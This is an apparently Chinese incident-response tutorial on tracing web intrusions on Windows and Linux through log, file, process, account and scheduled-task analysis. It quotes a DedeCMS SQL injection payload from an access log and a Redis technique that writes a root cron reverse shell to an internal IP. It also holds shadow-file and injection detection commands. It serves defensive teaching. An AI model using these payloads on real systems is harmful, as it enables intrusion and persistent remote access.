溯源的概念
通过对受害资产与内网流量进行分析一定程度上还原攻击者的攻击路径与攻击手法根据已有的线索,攻击方式以及攻击特征等通过技术手段反查攻击者身份或是组织信息。
描述:完整还原攻击链条,溯源到黑客的虚拟身份,真实身份,溯源到攻击队员,反控攻击方主机
溯源结果如下:
- 姓名/ID:
- 攻击IP:
- 地理位置:
- QQ:
- IP地址所属公司:
- IP地址关联域名:
- 邮箱:
- 手机号:
- 微信/微博/src/id证明:
- 人物照片:
- 跳板机(可选):
- 关联攻击事件:
应急溯源:服务器受到黑客的攻击,需要进行攻击事件的溯源。
如何还原攻击路径
windows-还原攻击路径
web入侵流程
- 日志分析
- 文件分析
- 进程分析
- 自启动 计划任务
日志分析
- 什么是日志?日志记录一个服务或应用程序在运行过程中所发生的事件和活动。
- 日志分类 web日志 系统日志
- 日志存放的位置
WEB日志分析
web日志存放路径
windows默认路径:在安装目录下的logs文件夹下
tomcat日志
catalina.out(运行中产生得异常信息))、localhost、manager、localhost_access_log4(访问的日志)种格式日志。
apache日志、nginx日志、IIS日志
access_log和error_log
apache日志分析
192.168.10.0 - -
"GET /dedecms/uploads/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=
\\%27%20or%20mid=@`\\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT
(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\\%27`+&_FILES
[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294%20```%20![] HTTP/1.1" 200 2837
1.我们查看连接的时候 查看数值
2.我们去查看连接状态是否被远控:
1.名字连接名字xx.asp名字比较异常的要注意,找到那个文件位置分析是否是恶意文件
2.因为远控连接的一般是只有攻击者才可能去访问,查看攻击ip只有一个或者两个 那么我们需要注意,进一步排查
3.木马文件相对于访问频率低,我们就可以排查
4.木马文件与其它文件交互少,我们可以进一步排查是否恶意文件
5.跟管理员沟通,查看一些新增记录 确认恶意文件 (post型)上传php.asp文件,一般是只有管理员权限;然后我们去还原路径 可以排查sql注入等
作日志分析我们就知道web服务器入侵的痕迹了
web日志分析工具
在线工具:
https://tilipa.zlsam.com/loger/
系统日志分析
windows系统日志包含系统日志,安全日志、应用日志等
敏感事件id:
4624 登录成功
4625 登录失败
4720 创建用户
4634 注销成功
4647 用户启动的注销
4672 使用超级用户/管理员用户进行登录
我们要关注时间,去筛选 创建记录等可以找到隐藏账号;判断系统的安全日志可以分析它
系统日志分析-Log Parser
登录成功的所有事件
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM Security.evtx路径 where EventID=4624"
指定登录时间范围的事件:
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM Security.evtx路径 where
TimeGenerated>'2023-02-19 23:32:11' and TimeGenerated
提取登录成功的用户名和IP:
LogParser.exe -i:EVT –o:DATAGRID "SELECT EXTRACT_TOKEN(Message,13,' ') as
EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as
Username,EXTRACT_TOKEN(Message,38,' ') as Loginip FROM Security.evtx路径 where
EventID=4624"
登录失败的所有事件:
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM Security.evtx路径 EventID=4625"
windows排查
webshell还能通过什么方式排查?
1.文件排查
2.进程分析
文件排查
1、文件排查
- (1)各个盘下的temp相关目录%temp% (判别恶意文件放在云沙箱)
- (2)开机启动文件(启动菜单、注册表)
- (3)浏览器的历史记录
- (4)Recent文件
- (5)攻击日期内新增的文件
【forfiles /m *.exe /d 2023/2/5 /s /c "cmd /c echo @path @fdate @ftime"】(根据当时具体情况排查)也可以通过everything排查位置
- (6)使用工具D盾、HwsKill、WebshellKill等
进程排查
2、进程排查
(tasklist列出所有进程 思路:恶意文件会进行外连,我们去查看网络连接;netstat -a查看网络连接,也可以用netstat -ano查看它的PID;查看端口得到PID,然后根据PID查看进程对应的程序名称,得到程序全路径名,杀掉进程)
(1)查看端口得到PID
netstat -nao | findstr 端口
(2)根据PID查看进程对应的程序名称
tasklist /V | findstr PID
wmic process list brief | findstr PID
(3)得到程序全路径名
wmic process where processid=PID get processid,executablepath,name
(4)杀掉进程
taskkill /PID 1437 /F
或者 wmic process where name="mysqld.exe" delete
或者 wmic process where processid=1437 call terminate
新增隐藏账号排查
1.通过命令:“net user”查看
2.通过“计算机管理”查看。lusrmgr.msc
3.通过Windows安全日志进行排查 eventvwr
4.通过查看注册表文件进行排查 regedit
打开注册表以后我们进行隐藏账号排查排查,打不开它的下一级目录那么在编辑里面权限改为SYStem权限
自启动排查
打开注册表以后我们进行自启动排查
计划任务排查
排查工具篇
工具篇
#### 病毒分析
PCHunter:http://www.xuetr.com
火绒剑:https://www.huorong.cn
Process Explorer:https://docs.microsoft.com/zhcn/sysinternals/downloads/process-explorer
processhacker:https://processhacker.sourceforge.io/downloads.php
#### 病毒查杀
卡巴斯基:http://devbuilds.kasperskylabs.com/devbuilds/KVRT/latest/full/KVRT.exe (推荐理由:绿色版、最新
病毒库)
大蜘蛛:http://free.drweb.ru/download+cureit+free
#### 病毒动态
CVERC-国家计算机病毒应急处理中心:http://www.cverc.org.cn
微步在线威胁情报社区:https://x.threatbook.cn
火绒安全论坛:http://bbs.huorong.cn/forum-59-1.html
爱毒霸社区:http://bbs.duba.net
腾讯电脑管家:http://bbs.guanjia.qq.com/forum-2-1.html
#### 在线病毒扫描网站
Virustotal:https://www.virustotal.com
Virscan:http://www.virscan.org
腾讯哈勃分析系统:https://habo.qq.com
Jotti 恶意软件扫描系统:https://virusscan.jotti.org
linux排查—还原攻击路径
- 日志分析
- 文件分析
- 进程分析
- 计划任务
linux-web日志分析
日志存放的位置
常用命令介绍:
find 文件名 find 搜索路径 【选项】 内容
-name 区分大小写php -type 文件类型 f普通文件 d目录 i查找软链接
-iname不区分大小写php -size 文件大小 +50k比我们50k还要大的文件 -100k比100k还要小的文件
-inum 修改时间 -atime访问的时间 -mtime数据修改的时间 -ctime文件修改的时间
+5 代表6天前修改的文件 -5代表5到6天内修改的文件 5代表5到6天那一天修改的文件
ls -i 1.php
1234
find -inum 1234
find -type f -name "*.php"|xargs grep 'eval'| more #去找到一个个文件的内容,显示出来
权限搜索 -perm
所属组所有者 -uid -gid -user用户名 -nouser(没有所属组的文件)
逻辑运算符 & -a 逻辑或-o 逻辑非-not
awk 【选项】匹配规则处理规则 路径-F指定分隔符 默认是空格作为分隔 : ,
设置一个变量 数组 定义函数 加减运算 字符串的拼接 $1 $0
一般会联合sort -n 排序,sort -n|uniq > 1 (uniq去重 -c计数)
awk '{print substr($4,2,11)}' logs |sort| uniq -c #sort排序 uniq去重
awk -F:'length($2)=0 {print $1}' /etc/shadow #空口令账号的查看
cat
grep | cat ps
-c 统计行数
-v 去掉我们的内容
ps -ef |grep ssh|grep -v grep
find ./ -name ".php" |xargs grep "eval()" xargs不支持管道符命令传递参数可以用这个函数 #匹配木马病毒文件
1.SQL注入检攻击检测
grep -E -i "select" log1
2.xss跨站脚本攻击检测
grep -E -i "
(S)%26%23x3c%3B(S+)%3E|(S)%26%23x3c%3B(S+)%2F%3E|(S+)<(S+)>|(S+)<(S+)/" log1
linux-文件分析
检查异常系统文件
find / -uid 0 -perm -4000 -print
find / -size +10000k -print
find / -name "…"-print
linux-系统日志分析
系统安全日志:
cat /var/log/secure Centos
cat /var/log/auth Ubuntu
vim /etc/rsyslog.conf 查看日志存放位置 在配置文件下面查看
比较重要的几个日志:
登录失败记录:/var/log/btmp //lastb
登录成功记录: /var/log/wtmp //last
目前登录用户信息:/var/run/utmp
linux-进程分析
进程和网络连接状态
网络连接命令【netstat】
-napt -pantn -a显示所有的选项 -n别名 -t tcp的连接
查看隐藏进程
ps -ef|awk '{print}'| sort -n |uniq >1
ls /proc| sort -n |uniq >2
计划任务
检查系统计划任务
/var/spool/cron/crontabs/root
crontab -u root -l
cat /etc/rc.d/rc.local
ls /etc/rc3.d
redis写隐藏计划任务
set shell "\n\n/1 * /bin/bash -
i>&/dev/tcp/192.168.0.109/2222 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
我们要查看 cd /var/spool/cron/root 去排查
总结
通过日志去找到WEB漏洞的地方,又通过文件分析,进程分析,网络连接分析去找到木马病毒的位置;然后又通过计划任务找后门 还原整个攻击者的过程
-
-
-
-
-
-
-
-
-
-
-
-
-
-